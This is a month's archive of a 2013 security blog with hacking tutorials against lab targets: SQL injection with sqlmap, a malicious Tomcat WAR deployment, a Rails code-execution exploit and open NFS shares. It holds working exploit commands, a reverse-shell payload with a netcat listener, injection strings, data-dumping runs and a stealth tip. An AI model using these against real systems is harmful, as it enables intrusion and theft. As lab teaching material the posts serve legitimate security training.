Monthly Archives: January 2013

More Tips with SQLmap

There is a more complete post on SQL Injection and sqlmap already done, but I want to add a few tidbits about useful things to do with sqlmap.

First of all, sometimes it is easier to just feed sqlmap the entire header request you would send. You can do just that by using your handy Burp proxy tool.

Go to wherever you want to test (for example Mutillidae’s view blog page):

Hit View Blog Entries, but make sure you’ve intercepted that request in Burp. Then simply copy the entire raw packet into a text file and save it:

Once you have that, you can simply feed it into sqlmap with a command similar to the following:

python sqlmap.py -r burprequest.txt –dbs

Pretty easy!

The next hint is if you want to specify where to go on the command line rather than just have the script figure it out on its own from reading the form. For the same example above, you’d do something similar to the following:

python /pentest/database/sqlmap/sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –data “author=john&view-someones-blog-php-submit-button=View+Blog+Entries” –dbs

This is also useful if you just want to test one or two parameters and skip the rest.

Hacking Apache Tomcat

Leave a reply

Apache Tomcat has a feature where you can upload a package. The package is a .war file that is essentially a Tomcat application. If you can get to the administration panel and upload a bad application, then you can get command line on the box.

This attack is especially useful if you find a forgotten installation of Apache Tomcat that nobody bothered to take down. Often times the credentials are obvious, and you can use this attack to pivot further into a network.

Setup Your Testbed

Metasploitable 2 already has an installation of Apache Tomcat running on port 8180. Browsing to it will look like the following page:

Attack

How do you find a vulnerable host?

Most of the time, you’ll find Tomcat on port 8080 or sometimes just port 80. Metasploitable’s is on port 8180. If you are finding .jsp files, then there’s a good chance it is a Tomcat server. You can also try the /admin or /manager/html directories. The error page or HTML headers returned by the web server will also often say if it is Apache Tomcat.

Metasploit has a scanner under auxiliary/scanner/http/tomcat_mgr_login for default logins. The scanner is pretty useful because it also contains a wordlist of default usernames and passwords for Apache Tomcat installs. Tomcat doesn’t really have default usernames and passwords, but canned installs (such as xampp) do. You can also manually try to login under the same links listed above. Metasploitable 2 uses tomcat/tomcat.

How do you attack that host?

Metasploit can create a meterpreter payload and shovel it back to you. You can either have metasploit do it all automatically for you (upload, run, then delete the .war file), or you can perform it a little more manually if you have a tricky system. Below is the automatic way:

msf> use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.1.5
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set PATH /manager/html
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Using manually select target “Java Universal”
[*] Uploading 6458 bytes as Km5MZ65BrHrJ4m62.war …
[*] Executing /Km5MZ65BrHrJ4m62/zLVmnRURVMFIwJHGgJExDon2e6Hc.jsp…
[*] Undeploying Km5MZ65BrHrJ4m62 …
[*] Sending stage (30216 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:47057) at 2013-01-28 12:58:37 -0500

meterpreter > getuid
Server username: tomcat55

You may get the message “Exploit failed [no-target]: Unable to automatically select a target”. Metasploit can normally tell what kind of system it is attacking, but on this particular exploit it seems to have a hard time with it. A “show targets” will tell you what is available. For Metasploitable 2, running “set TARGET 1” for Java Universal seems to work. If you change it to anything else, you may need to change your payload to a compatible payload as well.

Now to do it in a bit more manual way, first you’ll want to create your payload (assuming your backtrack host is 192.168.1.6):

$ msfpayload java/shell/reverse_tcp LHOST=192.168.1.6 W > colesec.war
Created by msfpayload (http://www.metasploit.com).
Payload: java/shell_reverse_tcp
Length: 5480
Options: {“LHOST”=>”192.168.1.6”}

Now take that colesec.war file, and upload it as an application under the Tomcat Web Application Manager (that’s the /manager/html link) where it says WAR file to deploy:

After clicking “Deploy”, you should see /colesec in the list of applications. Now you’ll want to start a netcat listener for your reverse shell connection:

$ nc -lvp 4444
listening on [any] 4444 …

Finally, access the backdoor file in the application you uploaded. Then simply go to your bad application (http://192.168.1.5:8180/colesec/), and your netcat listener should suddenly get a hit.

$ nc -lvp 4444
listening on [any] 4444 …
connect to [192.168.1.6] from new-host-8.home [192.168.1.5] 34114
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)

As a note, if you chose another payload (such as linux/x86/shell_reverse_tcp), you may have to go to a specific .jsp file in your application. You can uncompress the .war file to figure out the random name of the .jsp file by uncompressing it with “jar -xvf colesec.war”.

Congrats, you’re in! Now to improve stealthiness, you can “Undeploy” your colesec application on the Application Manager page, and you are done.

Passive Reconnaissance with Shodan

Leave a reply

I recognized my post about the ruby on rails vulnerability as a good opportunity to bring up shodan.

Shodan is a unique search engine. It crawls the web for the banners listed at various ports. Mainly it grabs and indexes HTTP headers, but it does a few other ports and protocols as well. At first, this doesn’t sound incredibly exciting, but if you think about it, you’ll see the tremendous potential this has as a passive reconnaissance tool.

For example, if you want to start finding all of Facebook.com’s IP space, you can do so with the query “hostname:facebook.com port:80”

Or you can research and see just what kind of fingerprint your corporation has on the web. Say, for example, you work for Amazon and you want to see what kinds of things are found externally on a set of your IP addresses. You’d search for “net:72.21.192.0/19”

You can see that there are lots of HTTP services open, and a lot of them are using the AmazonS3 web server with some Apache stuff sprinkled in. Nothing surprising, but you’re able to begin to fingerprint what kinds of systems Amazon runs.

Moving back to the ruby on rails example. We know that systems 3.2.10 and earlier are vulnerable. Our particular default install used a unique sounding web server called WEBrick. What if we search for that?

Now we’re getting somewhere. Over 2000 hits with our first search, and most appear to be Ruby on Rails. Now let’s verify it’s a vulnerable version. I just took the 2nd IP down, opened it up, and added the path for the defaults rails about page (http://IP/rails/info/properties). Here’s what I got:

Rails version 3.2.8. Definitely vulnerable. We could pwn this box right now, easy. But we don’t have any kind of rules of engagement or agreement with these people, so we don’t. And chances are, they are already pwned. We could send them a quick e-mail letting them know they are in serious trouble, or even see if they have a bug bounty. Or try to get a job, since their security guys obviously are lacking.

Don’t want this to be you, an easily recognizable target? Search for your corporation and make sure you are safe.

This is only touching the surface of what shodan does. There’s a great video located here which talks about more, including finding default passwords on systems, etc. just with the header information. Happy hunting!

(Mis)Adventures in Java “Privilege Escalation”

Leave a reply

If you are pretty familiar with Java development, this post will seem silly to you. But I’m not. Many times, you can learn a lot from failures as well, so this one I’d like to document.

Basically, I had gotten a command prompt as a lower privileged user on a machine. I was looking to get administrator access somehow, and I noticed that Java 7 Update 4 was running, which is vulnerable to CVE-2012-4681. You always hear of this one as a “privilege escalation” exploit, so I thought by popping out of the Java sandbox, you’d also pop out as an administrative user.

News flash. It doesn’t work that way. The exploit works, but you pop out of the sandbox as the same user as you ran the command.

I’m going to explain how to do it anyway. Those Java developers can stop here, but the rest of us might still learn something.

What do I start out with?

Most exploits are captured via twitter, or some sort of pastebin website. Usually with twitter linking to a pastebin, which is the case here. The source code was tweeted by @jduck1337 pointing to pastie.org/4594319. Grab the source code from there because that’s what we’re going to start out with.

Also, don’t forget to install a vulnerable version of Java. Any Java 7 version at revision 7 or below should work.

I have my code, now what do I do with it?

You can see the class is called Gondvv. So you’ll need to save that file as Gondvv.java. Then erase that first line that says: package cve2012xxxx; This will be a standalone file, not a package.

You’ll notice a bunch of jibberish, but near the end of the file you’ll see the purpose is simply to open calc.exe. So no worries – the code as it stands is not actually malicious.

Finally, compile your code. Go to the command prompt, browse to where your Gondvv.java file is, and type the following:

javac Gondvv.java

That was easy. This should have created a Gondvv.class file. Now since this was originally meant to run as a Java applet, you’ll need to create an HTML file with the following source:

<applet align=”center” code=”Gondvv.class” width=”800″ height=”500″></applet>

That alone will do it. Run your HTML file, and your calculator will pop up. Congrats, you successfully exploited the vulnerability!

How about privilege escalation?

The next step was to make this a command line prompt. Remember, I had command line as a lower privileged user already. I was hoping to run commands inside this program to be higher privileged. So the next step was to strip away all the Java applet stuff.

So strip away the java.applet.Applet and java.awt.Graphics import lines. Also make it so the public class Gondvv doesn’t extend Applet. Then all the classes need to get the “static” keyword added to them. Remove the very last paint class. Finally, the public void init() class needs to be renamed to public static void main(String[] args). The end result looks like the following:

(looked terrible here. Pasted it on pastebin)

Then compile it the same as before, and run it with:

java Gondvv

Calculator should pop up! Not so exciting, but you can see it is working. In order to see who is actually running it, you can just have it run “whoami.exe” or something along those lines. Had it actually worked, I would have made it run a netcat listener or a meterpreter payload or something.

What if I just want a .jar file?

Don’t want to use the java keyword before running your file? Make a .jar file. You’ll first need to create a manifest.txt file. The contents should be as follows:

Main-Class: Gondvv

Then at the command line, simply type the following to create your .jar file:

jar cvfm javahack.jar manifest.txt *.class

Bingo, now you can just run the jar file. Enough Java for one day.

Java Exploits

Leave a reply

New Java Exploits are raining! I’m going to use this post to collect some data on them.

CVE-2013-1493 (Java 7 Update 15, Java 6 Update 41)
Date: February 2013
Pastebin:
Metasploit module:
Interesting blog posting:
http://blog.fireeye.com/research/2013/02/yaj0-yet-another-java-zero-day-2.html
http://krebsonsecurity.com/2013/03/new-java-0-day-attack-echoes-bit9-breach/

CVE-2013-0431 (Java 7 Update 11)
Date: February 2013
Pastebin: http://pastebin.com/QWU1rqjf
Metasploit module: exploit/multi/browser/java_jre17_jmxbean_2
Interesting blog postings:
http://security-obscurity.blogspot.it/2013/02/deobfuscating-java-7u11-exploit-from.html

CVE-2013-0422 (Java 1.7 Update 10)
Date: January 2013
Pastebin: http://pastebin.com/cUG2ayjh
Metasploit module: exploit/multi/browser/java_jre17_jmxbean
Interesting blog postings:
http://krebsonsecurity.com/2013/01/zero-day-java-exploit-debuts-in-crimeware/
https://community.rapid7.com/community/metasploit/blog/2013/01/11/omg-java-everybody-panic
http://www.reddit.com/r/netsec/comments/16b4n1/0day_exploit_fo_java_17u10_spotted_in_the_wild/
http://www.reddit.com/r/netsec/comments/ywbhq/new_java_0day_exploited_in_the_wild/
http://www.reddit.com/r/netsec/comments/16buer/source_code_for_the_java_7_0day/

CVE-2012-4681 (Java 7 Update 6)
Date: August 2012
Pastebin: http://pastie.org/4594319
Metasploit Module: exploit/multi/browser/java_jre17_exec
Interesting blog postings:
http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
http://krebsonsecurity.com/2012/08/attackers-pounce-on-zero-day-java-exploit/

CVE-2012-0507 (Java 7 Update 2, Java 6 Update 30)
Date: March 2012
Pastebin: http://pastebin.com/TtZSt4u4 and http://pastebin.com/ms5Sk009
Metasploit Module: exploit/multi/browser/java_atomicreferencearray
Interesting blog postings:
https://community.rapid7.com/community/metasploit/blog/2012/03/29/cve-2012-0507–java-strikes-again

Hacking Ruby on Rails with CVE-2013-0155 and CVE-2013-0156

Leave a reply

This exploit recently came out, affecting an estimated 200k sites on the web. You can still install the vulnerable version to create your own testbed to make sure you are doing it right.

Setup Your Testbed

The most recent version that got patched is rails 3.2.11, so 3.2.10 and below should do. In order to setup your Ubuntu system, perform the following commands:

# apt-get install build-essential sqlite libsqlite3-dev nodejs
# apt-get install ruby1.9.3
# gem install rails -v 3.2.10
# rails new /var/www/railstest
# cd /var/www/railstest
# rails server

You should now be able to go to your server on port 3000 (http://192.168.1.5:3000) and see the default ruby on rails install.

Attack

How do you find a vulnerable host?

Metasploit has a scanner at auxiliary/scanner/http/rails_xml_yaml_scanner to find servers with the vulnerability, but surprisingly, it doesn’t seem to detect our setup. I have no idea why. There is also a couple Nessus plugins that seem to give it a try, but they don’t detect it either. In which case, you’ll have to build your own tool.

I’d recommend doing it with a scripting language (like Perl) and curl, using regex to find what you want. Something like the following:

curl -s -I –connect-timeout 2 -f http://192.168.1.5:3000/rails/info/properties

This is a Ruby on Rails specific URL. If it exists, then you likely have found a rails server. You can also look for /assets/rails.png as well as specific information in the header (WEBrick, Ruby, mod_rails, Mongrel, Passenger – those types of things in the X-Powered-By or Server headers).

In practice, you’ll also have to check to make sure you get something like HTTP/1.1 200 OK. Otherwise you’ll start getting hits on 301 Moved, 404 Not Found, etc. types of pages.

How do you attack that host?

Unlike the scanning module, Metasploit’s exploit module works great, exploit/multi/http/rails_xml_yaml_code_exec:

msf> use exploit/multi/http/rails_xml_yaml_code_exec
msf exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.1.5
msf exploit(rails_xml_yaml_code_exec) > set RPORT 3000
msf exploit(rails_xml_yaml_code_exec) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Sending Railsv3 request to 192.168.1.5:3000…
[*] Sending Railsv2 request to 192.168.1.5:3000…
[*] Command shell session 1 opened (192.168.1.6:4444 -> 192.168.1.5:44828) at 2013-01-18 18:24:23 -0500
id
uid=0(root) gid=0(root) groups=0(root)

Great post on this topic by HD Moore here. Also additional proof of concept code here.

Hacking Java Applets with JD

Leave a reply

Sometimes Java Applets are compiled into .jar files, which can later be decompiled and dissected for valuable information that the author didn’t necessarily intend for you to have.

Setup Your Testbed

Any .jar file will do that you have lying around. I’m using one that Metasploit constructed from one of the (many many) recent Java exploits.

Attack

How do you find a vulnerable host?

If you see an applet is being served up by a .jar file, you can download that file to see what is on it.

How do you attack that host?

Download the file and load up your favorite decompiler. I prefer JD (get it? Java Decompiler), but really any one will do.

One great bit of information you can find in here is database connection information – location, username, password. From there, you can dump the contents of the database, or whatever other island hopping you can do.

SQL Injection and sqlmap

Leave a reply

SQL Injection is one of the most common ways to compromise a web based system. It begins with a website that doesn’t properly validate data that it is inputting into a database. For example, a website could ask for your username and password. After submitting that, the code could look similar to the following:

SELECT * FROM accounts WHERE username=’$username‘ AND password=’$password‘

So a normal username and password would look like this:

SELECT * FROM accounts WHERE username=’admin‘ AND password=’pa$$w0rd‘

But if you were a malicious user, you could manipulate this to evaluate as true whether or not you have the right password. If instead of pa$$w0rd in the password field, you put a SQL query of your own? You could close the password field with another ‘, then enter OR 1=1 to make it so either the password or 1=1 can evaluate true (and 1 is always = 1), and finally do a SQL comment to take out the remaining ‘. You end up with ‘ OR 1=1 — . Notice there’s a space at the end of the –. Without that, it doesn’t count as a comment. So you end up with the following:

SELECT * FROM accounts WHERE username=’admin‘ AND password=’‘ OR 1=1 — ‘

The statement may look weird, but it will evaluate you as true, and you would be logged in as admin.

The whole point is you can use this not only to gain access to pages you shouldn’t, but you can also dump the entire database and hopefully capture valuable information.

By the way, perhaps one of the best XKCD comics of all time is little Bobby tables.

Setup Your Testbed

Install Metasploitable 2 and use Mutillidae that comes with it. The setup and the fix required for Mutillidae to work is described here.

Attack

How do you find the vulnerable host?

There are almost unlimited ways to perform SQL injection. The truth is, it’s hard to test every combination on every input box or POST/GET variable (there isn’t always an input box). Sometimes it is difficult to tell if SQL injection is even working. Mutillidae makes it easy by printing out the SQL string in the error statement (as do many other websites by the way!), but not everywhere is the same.

While a scanner can never replace a human penetration tester, for these reasons I recommend a web vulnerability scanner to help you run a range of tests. I think Acunetix is the best general web scanner you’ll find, but it’s expensive. A comparison list of a number of commercial and open source products is available here.

How do you attack that host?

First thing’s first. You’ll want to manually test. You can manually craft your inputs with the help of some firefox extensions and online sql injection cheat sheats.

Once you’ve done this, you can try using sqlmap. It uses SQL ninja moves to give you more information about the database, and can even often dump all the data for your viewing pleasure. Sqlmap also conveniently comes with Backtrack under /pentest/database/sqlmap/sqlmap.py. As a warning though: it isn’t stealthy. Anybody looking at the web server logs would know right away what is happening.

You can see the help menu with all of the other options using sqlmap.py -h (or -hh for even more info). There are many ways to do this. For example, you can simply copy down the entire HTTP request (grabbed from the Burp proxy or something), put it in a file, and have sqlmap read it with the -r switch. The way we’ll be doing it is just tell sqlmap what URL to go to, have it find the forms at that URL, and figure it out from there.

So first lets have sqlmap dump the databases:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch –dbs
[[snip all the stuff about figuring out which fields to inject on]]

sqlmap identified the following injection points with a total of 43 HTTP(s) requests:
—
Place: POST
Parameter: author
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ AND (SELECT 3192 FROM(SELECT COUNT(*),CONCAT(0x3a646b613a,(SELECT (CASE WHEN (3192=3192) THEN 1 ELSE 0 END)),0x3a6a7a6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘XDRr’=’XDRr&view-someones-blog-php-submit-button=View Blog Entries

Type: UNION query
Title: MySQL UNION query (NULL) – 4 columns
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68’ LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a646b613a,0x54657343436762477a65,0x3a6a7a6b3a), NULL#&view-someones-blog-php-submit-button=View Blog Entries
—

[12:45:37] [INFO] do you want to exploit this SQL injection? [Y/n] Y
[12:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[12:45:37] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[12:45:37] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/pentest/database/sqlmap/output/results-01112013_1245pm.csv’

The options are as follows: -u tells it the URL to use, –forms tells it to use the form fields on that page for sql injection, –batch tells it to answer the default on all the questions, and –dbs tells it to list the databases on the server. As you can see, sqlmap figured out the author field was vulnerable (although it took 43 requests, hence the not very stealthy note), and then sent a bunch of additional requests to find the database list. Now lets list the tables in owasp10:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch –D owasp10 –tables
[[snip]]
[12:53:16] [INFO] using ‘/pentest/database/sqlmap/output/results-01112013_1253pm.csv’ as results file
[12:53:17] [INFO] heuristics detected web page charset ‘ascii’
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: POST
Parameter: author
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ AND (SELECT 3192 FROM(SELECT COUNT(*),CONCAT(0x3a646b613a,(SELECT (CASE WHEN (3192=3192) THEN 1 ELSE 0 END)),0x3a6a7a6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘XDRr’=’XDRr&view-someones-blog-php-submit-button=View Blog Entries

Type: UNION query
Title: MySQL UNION query (NULL) – 4 columns
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68’ LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a646b613a,0x54657343436762477a65,0x3a6a7a6b3a), NULL#&view-someones-blog-php-submit-button=View Blog Entries
—

[12:53:17] [INFO] do you want to exploit this SQL injection? [Y/n] Y
[12:53:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[12:53:17] [INFO] fetching tables for database: ‘owasp10’
Database: owasp10
[6 tables]
+—————-+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+—————-+

[12:53:17] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/pentest/database/sqlmap/output/results-01112013_1253pm.csv’

Notice this time sqlmap recognized it had already figured out the vulnerable settings and just ran with it. Now lets get a full dump of that users table:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch -D owasp10 -T accounts –dump

As you can see, sqlmap is a very powerful tool. We could have just as easily dumped all the databases and parsed through them later.

Always remember that something like sqlmap is just a tool for an intelligent user, and not the ultimate test of sql injection. For example, try removing your output directory (rm -rf output) and run the following, trying sqlmap on a different page:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch –dbs

Doesn’t actually list all the databases for some reason, right? Clearly SQL injection is working, but the sqlmap.py script can’t read all 7 databases for some reason. Now remove the output directory again, and try it in a set of 3 commands:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms
$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch
$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch –dbs

This one seems to work. Weird, huh? Just a good example of how a tool can make mistakes, so always double check.

Metasploitable 2 and Mutillidae

2 Replies

Metasploitable 2 (even better than the original Metasploitable) is a great way to practice your hacking skills. I use it all the time for my sandbox setup phase.

Metasploitable 2 also comes with several vulnerable websites to practice your web exploitation skills. My favorite is Mutillidae. However, there is a small error in the Mutillidae setup on Metasploitable 2. Thankfully, it is easily fixable.

The problem is that the database specified in the Mutillidae config file is incorrect. You will know you are experiencing this problem if you click on something that requires the database and you get a bunch of header errors that don’t look quite right.

In the example above, I simply clicked the Login/Register button on the top bar, typed something in for the username and password, and clicked Login.

To fix it, log into Metasploitable 2 (msfadmin/msfadmin), and open up the /var/www/mutillidae/config.inc file (you may need to use sudo). Change the dbname field from “metasploit” to “owasp10”. Save it, and try the login page again.

You should get just a simple authentication error:

Now you’re good to go with Mutillidae and Metasploitable 2!

Hacking NFS

1 Reply

Sometimes NFS mounts get put up, and somebody neglects to secure them, allowing anybody to mount their shares. Believe it or not, this happens surprisingly often. So always check for open mounts when you see port 2049 open.

Setup Your Testbed

I setup Ubuntu 12.04.1 LTS, ran all the updates, and installed the NFS server (apt-get install nfs-kernel-server). Then create a folder you want to export (I created /export) and add some dummy files. You’ll have to set permissions if you want to have write access through the share. Finally, export through NFS by editing the /etc/exports file like the following:

Now restart the service (/etc/init.d/nfs-kernel-server restart). Your testbed is ready!

More detailed info on setting up your NFS server here.

Attack

How do you find a vulnerable host?

First of all, you can run an nmap scan and see that port 2049 is open.

$ nmap 192.168.1.5

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-10 12:37 EST
Nmap scan report for ubuntutest.home (192.168.1.5)
Host is up (0.00016s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
MAC Address: 08:00:27:4F:F5:A5 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds

Next, you’ll want to check out what shares, if any, are unprotected.

$ showmount -e 192.168.1.5
Export list for 192.168.1.5:
/export *
/tmp 192.168.1.0/24

The /tmp mount is secured to allow only 192.168.1.0/24 networks mount it, but the /export mount can be mounted by anybody.

How do you attack that host?

Go ahead and mount the share to /mnt/tmp and browse what is there.

$ mount -t nfs -o nolock 192.168.1.5:/export /mnt/tmp
$ ls /mnt/tmp
corporate_salaries.xls mypassword.txt users
$ cat /mnt/tmp/mypassword.txt
pa$$w0rd
$ umount /mnt/tmp

Sometimes you’ll get a wealth of information, and sometimes you won’t get anything. But it’s always worth checking out!

ColeSec Security

All things cyber security

Monthly Archives: January 2013

More Tips with SQLmap

Hacking Apache Tomcat

Passive Reconnaissance with Shodan

(Mis)Adventures in Java “Privilege Escalation”

Java Exploits

Hacking Ruby on Rails with CVE-2013-0155 and CVE-2013-0156

Hacking Java Applets with JD

SQL Injection and sqlmap

Metasploitable 2 and Mutillidae

Hacking NFS